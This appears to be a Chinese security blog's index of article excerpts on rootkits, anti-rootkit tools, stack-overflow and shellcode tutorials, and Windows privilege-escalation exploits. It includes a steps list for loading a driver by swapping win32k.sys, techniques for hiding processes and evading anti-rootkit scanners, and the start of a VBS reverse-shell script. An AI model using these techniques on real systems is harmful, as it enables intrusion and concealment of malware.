簡(jiǎn)單認(rèn)識(shí)Anti-RootKit(ZT)
摘要: 現(xiàn)在RK(rootkit)和ARK(anti- rootkit)的斗爭(zhēng)已經(jīng)進(jìn)行了很久,在印象中最早出來(lái)的ARK工具是冰刃(IceSword),從冰刃開(kāi)始出來(lái)到現(xiàn)在RK和ARK的斗爭(zhēng)一直在繼續(xù),目前冰刃還是在流行當(dāng)中,自己感覺(jué)也正是冰刃的出來(lái)才帶動(dòng)了當(dāng)前流行的RK和ARK的斗爭(zhēng)呵呵,現(xiàn)在很多病毒木馬已經(jīng)廣泛的帶有驅(qū)動(dòng),使用一些RK的技術(shù)和方法使自己更底層些更強(qiáng)大些,當(dāng)前流行的ARK工具主要包括:隱藏進(jìn)程檢測(cè),內(nèi)核驅(qū)動(dòng)檢測(cè),SSDT檢測(cè),代碼HOOK檢測(cè),注冊(cè)表隱藏的檢測(cè),隱藏文件的檢測(cè)等一些功能的,下面談?wù)勛约簩?duì)一些功能的簡(jiǎn)單愚見(jiàn) 嘻嘻。
..........
閱讀全文
無(wú)恥的驅(qū)動(dòng)加載法(ZT)
摘要: 方法一: 替換win32k.sys
在2k3的系統(tǒng)下ZwSetSystemInformation禁止了用戶模式下加載驅(qū)動(dòng),只允許SMSS.exe加載win32k.sys。于是我們可以利用一下這個(gè)特點(diǎn):
1. 注入SMSS.EXE
2. 打開(kāi)SeLoadDriverPrivilege權(quán)限
3. 把原始的win32k.sys改名
4. 復(fù)制我們的驅(qū)動(dòng)到\systemroot\system32下
5. 在SMSS.EXE中加載\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
閱讀全文
實(shí)例解析蠕蟲(chóng)病毒的原理(ZT)
摘要: 一、蠕蟲(chóng)病毒具有自我復(fù)制能力
我們以普通的VB腳本為例來(lái)看看:
JavaScript代碼
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '創(chuàng)建一個(gè)文件系統(tǒng)對(duì)象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通過(guò)文件系統(tǒng)對(duì)象的方法創(chuàng)建了一個(gè)TXT文件。
.....................
閱讀全文
軟件漏洞分析入門[初級(jí)shellcode_定位緩沖區(qū)](ZT)
摘要: 跟貼中看到已經(jīng)有不少朋友成功的完成了前面的所有例題,今天我們?cè)谇懊娴幕A(chǔ)上,繼續(xù)深入。每一講我都會(huì)引入一些新的知識(shí)和技術(shù),但只有一點(diǎn)點(diǎn),因?yàn)槲蚁M谀x完貼之后就能立刻消化吸收,這是標(biāo)準(zhǔn)的循序漸進(jìn)的案例式學(xué)習(xí)方法
另外在今天開(kāi)始之前,我順便說(shuō)一下后面的教學(xué)計(jì)劃:
我會(huì)再用3~4次的講座來(lái)闡述shellcode技術(shù),確保大家能夠在比較簡(jiǎn)單的漏洞場(chǎng)景下實(shí)現(xiàn)通用、穩(wěn)定的溢出利用程序(exploit)
..........
閱讀全文
軟件漏洞分析入門[初級(jí)棧溢出D_植入任意代碼](ZT)
摘要: 麻雀雖小,五臟俱全
如果您順利的學(xué)完了前面4講的內(nèi)容,并成功的完成了第2講和第4講中的實(shí)驗(yàn),那么今天請(qǐng)跟我來(lái)一起挑戰(zhàn)一下劫持有漏洞的進(jìn)程,并向其植入惡意代碼的實(shí)驗(yàn),相信您成功完成這個(gè)實(shí)驗(yàn)后,學(xué)習(xí)的興趣和自信心都會(huì)暴增。
開(kāi)始之前,先簡(jiǎn)要的回答一下前幾講跟貼中提出的問(wèn)題
代碼編譯少頭文件問(wèn)題:可能是個(gè)人習(xí)慣問(wèn)題,哪怕幾行長(zhǎng)的程序我也會(huì)丟到project里去build,而不是用cl,所以沒(méi)有注意細(xì)節(jié)。如果你們嫌麻煩,不如和我一樣用project來(lái)build,應(yīng)該沒(méi)有問(wèn)題的。否則的話,實(shí)驗(yàn)用的程序?qū)嵲谔?jiǎn)單了,這么一點(diǎn)小問(wèn)題自己決絕吧。另外,看到幾個(gè)同學(xué)說(shuō)為了實(shí)驗(yàn),專門恢復(fù)了古老的VC6.0,我也感動(dòng)不已啊,呵呵。
...............
閱讀全文
軟件漏洞分析入門[初級(jí)棧溢出C_修改程序流程](ZT)
摘要: 上節(jié)課沒(méi)有操練滴東西,不少蠢蠢欲動(dòng)的同學(xué)肯定已經(jīng)坐不住了。悟空,不要猴急,下面的兩堂課都是實(shí)踐課,用來(lái)在實(shí)踐中深入體會(huì)上節(jié)課中的知識(shí),并且很有趣味性哦
信息安全技術(shù)是一個(gè)對(duì)技術(shù)性要求極高的領(lǐng)域,除了扎實(shí)的計(jì)算機(jī)理論基礎(chǔ)外、更重要的是優(yōu)秀的動(dòng)手實(shí)踐能力。在我看來(lái),不懂二進(jìn)制就無(wú)從談起安全技術(shù)。
緩沖區(qū)溢出的概念我若干年前已經(jīng)了然于胸,不就是淹個(gè)返回地址把CPU指到緩沖區(qū)的shellcode去么。然而當(dāng)我開(kāi)始動(dòng)手實(shí)踐的時(shí)候,才發(fā)現(xiàn)實(shí)際中的情況遠(yuǎn)遠(yuǎn)比原理復(fù)雜。
................
閱讀全文
軟件漏洞分析入門[初級(jí)棧溢出B_系統(tǒng)棧原理](ZT)
摘要: 掃盲班第三講開(kāi)課啦!
上節(jié)課我們用越過(guò)數(shù)組邊界的一個(gè)字節(jié)把鄰接的標(biāo)志變量修改成0,從而突破了密碼驗(yàn)證程序。您實(shí)驗(yàn)成功了嗎?沒(méi)有的話回去做完實(shí)驗(yàn)在來(lái)聽(tīng)今天的課!
有幾個(gè)同學(xué)反映編譯器的問(wèn)題,我還是建議用VC6.0,因?yàn)樗黚uild出來(lái)的PE最適合初學(xué)者領(lǐng)會(huì)概念。而且這門課動(dòng)手很重要,基本上我的實(shí)驗(yàn)指導(dǎo)都是按VC6.0來(lái)寫的,用別的build出來(lái)要是有點(diǎn)出入,實(shí)驗(yàn)不成功的話會(huì)損失學(xué)習(xí)積極性滴——實(shí)驗(yàn)獲得的成就感是學(xué)習(xí)最好的動(dòng)力。
............
閱讀全文
軟件漏洞分析入門[初級(jí)棧溢出A_初識(shí)數(shù)組越界](ZT)
摘要: 本想來(lái)點(diǎn)大道理申明下研究思路啥的,看到大家的熱情期待,稍微調(diào)整一下講課的順序。從今天開(kāi)始,將用3~4次給大家做一下棧溢出的掃盲。
棧溢出的文章網(wǎng)上還是有不少的(其實(shí)優(yōu)秀的也就兩三篇),原理也不難,讀過(guò)基本上就能夠明白是怎么回事。本次講解將主要集中在動(dòng)手調(diào)試方面,更加著重實(shí)踐。
經(jīng)過(guò)這3~4次的棧溢出掃盲,我們的目標(biāo)是:
領(lǐng)會(huì)棧溢出攻擊的基本原理
能夠動(dòng)手調(diào)試簡(jiǎn)易的棧溢出漏洞程序,并能夠利用漏洞執(zhí)行任意代碼(最簡(jiǎn)易的shellcode)
.............
閱讀全文
軟件漏洞分析入門[引子](ZT)
摘要: 您是否夢(mèng)想過(guò)能夠像電影上演的那樣黑進(jìn)任意一臺(tái)機(jī)器遠(yuǎn)程操控?您的夢(mèng)想是否曾經(jīng)被書店里邊滿架子的反黑,防毒,擒木馬的掃盲書強(qiáng)暴的體無(wú)完膚?
從今天開(kāi)始,準(zhǔn)備陸續(xù)發(fā)一系列關(guān)于軟件漏洞方面基礎(chǔ)知識(shí)的帖子,包括軟件漏洞的研究?jī)r(jià)值,研究方法,堆棧利用的基礎(chǔ)知識(shí),shellcode的調(diào)試方法,漏洞調(diào)試方法,漏洞分析,漏洞挖掘,軟件安全性測(cè)試等等,此外還將介紹一些metasploit架構(gòu)和fuzz測(cè)試方面的入門知識(shí)。
軟件漏洞分析,利用,發(fā)掘是當(dāng)今安全技術(shù)界中流砥柱級(jí)別話題,如果您關(guān)注過(guò)black hat或者defcon之類的頂級(jí)安全技術(shù)峰會(huì)的話,就知道我不是在吹牛了??上У氖沁@方面的中文資料很少,偶爾有一篇比較優(yōu)秀的文章但又不夠系統(tǒng),目前為止也沒(méi)有形成像破解技術(shù)這樣的討論風(fēng)氣,菜鳥(niǎo)們?cè)诤跓粝够鸬囊雇硐拐垓v,沒(méi)有交流和指導(dǎo),興趣就像被拔了氣彌兒芯的車胎,很快就泄氣了。
雖然漏洞分析與利用與破解在技術(shù)上各有側(cè)重點(diǎn),但逆向基礎(chǔ)是共同的。以我個(gè)人的經(jīng)驗(yàn),能做crack的朋友只要稍加進(jìn)修就能入門。就算沒(méi)有任何匯編基礎(chǔ)和逆向經(jīng)驗(yàn)的朋友也不用擔(dān)心,因?yàn)檫@
閱讀全文
對(duì) Hook 內(nèi)核ntoskrnl'sZwQuerySystemInformation隱藏任務(wù)管理器進(jìn)程名 的一點(diǎn)完善(ZT)
摘要: 通過(guò)hook ssdt中的ZwQuerySystemInformation來(lái)實(shí)現(xiàn)隱藏進(jìn)程已經(jīng)是很老的技術(shù)了。
qiweixue 在他的文章里面寫的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不過(guò)他的文章里面,進(jìn)程名字是直接寫死的,不能通過(guò)三層進(jìn)行傳遞,而且得到ZwQuerySystemInformation是通過(guò)匯編的方法,這樣在其他系統(tǒng)上可能會(huì)有問(wèn)題,所以我做了一些改善如下:
1 通過(guò)應(yīng)用程序?qū)⑦M(jìn)程名字傳遞進(jìn)來(lái),可以傳遞多個(gè)進(jìn)程名字,格式為:qq.exe;taskmgr.exe;
2 通用的方法來(lái)得到ZwQuerySystemInformation的地址,不過(guò)這個(gè)方法都是從rookit上得來(lái)的。
...........
閱讀全文
讓EXE導(dǎo)出函數(shù)(ZT)
摘要: 偶然發(fā)現(xiàn)OllyDBG.exe導(dǎo)出了一堆函數(shù),這些函數(shù)都是供其插件調(diào)用的。對(duì)這種體系結(jié)構(gòu)很感
興趣,想弄清楚它的實(shí)現(xiàn)原理。后來(lái)又看到梁肇新的書《編程高手箴言》第278頁(yè)提到的調(diào)用
門,覺(jué)得都應(yīng)該差不多。
三種不同的解決辦法(原理可能是一樣的,:)):
1)在導(dǎo)出函數(shù)聲明之前加上__declspec(dllexport)。例:
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
閱讀全文
icesword 驅(qū)動(dòng)部分分析(ZT)
摘要: icesword.exe 在執(zhí)行的時(shí)候會(huì)放出一個(gè)驅(qū)動(dòng)程序 ispubdrv.sys .
icesword.exe 裝載 這個(gè)驅(qū)動(dòng),這個(gè)驅(qū)動(dòng)安裝后就不會(huì)卸載。直到系統(tǒng)重新啟動(dòng)。這可能是因?yàn)轵?qū)動(dòng)中調(diào)用了
PsSetCreateThreadNotifyRoutine 函數(shù).下面是這個(gè)函數(shù)在 ddk 中的介紹。
........
閱讀全文
利用偽造內(nèi)核文件來(lái)繞過(guò)IceSword的檢測(cè)(ZT)
摘要: 一、為什么需要偽造內(nèi)核:
IceSword(以下簡(jiǎn)稱IS)為了防止一些關(guān)鍵系統(tǒng)函數(shù)(包括所有服務(wù)中斷表中的函數(shù)以及IS驅(qū)動(dòng)部分要使用到的一些關(guān)鍵函數(shù))被 patch,它直接讀取內(nèi)核文件(以下簡(jiǎn)稱“ntoskrnl.exe”),然后自己分析ntoskrnl.exe 的PE結(jié)構(gòu)來(lái)獲取關(guān)鍵系統(tǒng)函數(shù)的原始代碼并且把當(dāng)前內(nèi)核中所有的關(guān)鍵系統(tǒng)函數(shù)還原為windows默認(rèn)狀態(tài),這樣保證了IS使用到的函數(shù)不被patch 過(guò)。也許你會(huì)想如果我們把還原后的函數(shù)再進(jìn)行patch不還是能躲的過(guò)去嗎?筆者也試過(guò)
.....................
閱讀全文
WIN下獲取kernel基址的shellcode探討(ZT)
摘要: [經(jīng)典溢出攻擊流程]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress()函數(shù)地址;
3. 查找其它API函數(shù)地址;
4. CreateProcess();
5. 遠(yuǎn)程連接。
我們都知道WINDOWS的系統(tǒng)功能不像UNIX的系統(tǒng)調(diào)用那樣實(shí)現(xiàn),由于WINDOWS版本的不斷更新,使得系統(tǒng)調(diào)用對(duì)SHELLCODE幾乎起不到作用。
但是WINDOWS是靠DLL動(dòng)態(tài)鏈接庫(kù)來(lái)實(shí)現(xiàn),這就是說(shuō),如果能從KERNEL32.DLL中獲取LoadLibrary()和GetProcAddress()函數(shù)的地址,我們就可以調(diào)用WINDOWS下的所有函數(shù)了。
所以我們需要對(duì)KERNEL32.DLL進(jìn)行地址定位,這也是本文的目的。
................
閱讀全文
SEH源碼賞析之C篇(ZT)
摘要:
1.起因
C++程序員對(duì)try,catch,throw都應(yīng)該很熟悉,能知道VC怎么實(shí)現(xiàn)它的人就不多了,不過(guò)網(wǎng)絡(luò)世界使很多人知道了它與SEH (structured exception handling)有密切關(guān)系,我也不例外,也是在若干年前從網(wǎng)絡(luò)知道了SEH,并且大致也知道SEH的流程.但是和多數(shù)人一樣在我的實(shí)踐也很少直接使用 SEH,對(duì)SEH也就僅限于網(wǎng)絡(luò)上一些文章的介紹.曾經(jīng)在用Windbg對(duì)某些軟件作分析,我遇到了斷點(diǎn)失效的情況,查找資料介紹是SEH中的 Handler清除了調(diào)試寄存器,在分析.....................
閱讀全文
饒過(guò)現(xiàn)代Anti-Rookit工具的內(nèi)核模塊掃描(ZT)
摘要: 本文描述了一些方法,可以饒過(guò)目前主流的現(xiàn)代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
閱讀全文
TCP版backshell的VBS腳本
摘要: '搞一個(gè)特殊的站準(zhǔn)備用的,沒(méi)想到,等寫完了,洞補(bǔ)上了,郁悶
'by 009, baicker@hotmail.com
'date:071221
Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................
閱讀全文
在同一個(gè)進(jìn)程空間運(yùn)行兩個(gè)程序(ZT)
摘要:
眾所周知,bo2k可以在一個(gè)指定的進(jìn)程空間(比如explorer.exe進(jìn)程)做為一個(gè)線程運(yùn)行。本文試圖找出一種方法,使得任意exe都可以在其他進(jìn)程中以線程運(yùn)行(當(dāng)然,這里說(shuō)的"任意"是有條件的,下面會(huì)講到)。
為行文簡(jiǎn)單起見(jiàn),我把先加載的exe稱為宿主,后加載的exe稱為客戶。對(duì)于上面的例子,explorer.exe為宿主,bo2k.exe為客戶。
基本知識(shí)
每一個(gè)exe都有一個(gè)缺省加載基址,一般都是0x400000。如果實(shí)際加載基址和缺省基址相同,程序中的重定位表就不需要修正(fixup),否則,就必須修正重定位表;
閱讀全文
Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3
摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 測(cè)試通過(guò)
之前的版本只能xp下用,這個(gè)2k3也可以了,其實(shí)前段時(shí)間朋友給過(guò)我一個(gè)這個(gè)漏洞的1day,但是朋友的東西不能亂發(fā),這個(gè)是自己寫的,發(fā)出來(lái)大家惡心一下。
閱讀全文
Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3
摘要: Win2k3_CN SP1 msjet40.dll ver 4.0.9025.0 測(cè)試成功
WinXP_CN SP2 msjet40.dll ver 4.0.8618.0 測(cè)試成功
mdb_d_exp.exe 為debug版本
mdb_r_exp.exe 為relrease版本
之前的反彈sc有問(wèn)題,請(qǐng)重新下載測(cè)試(071218)
閱讀全文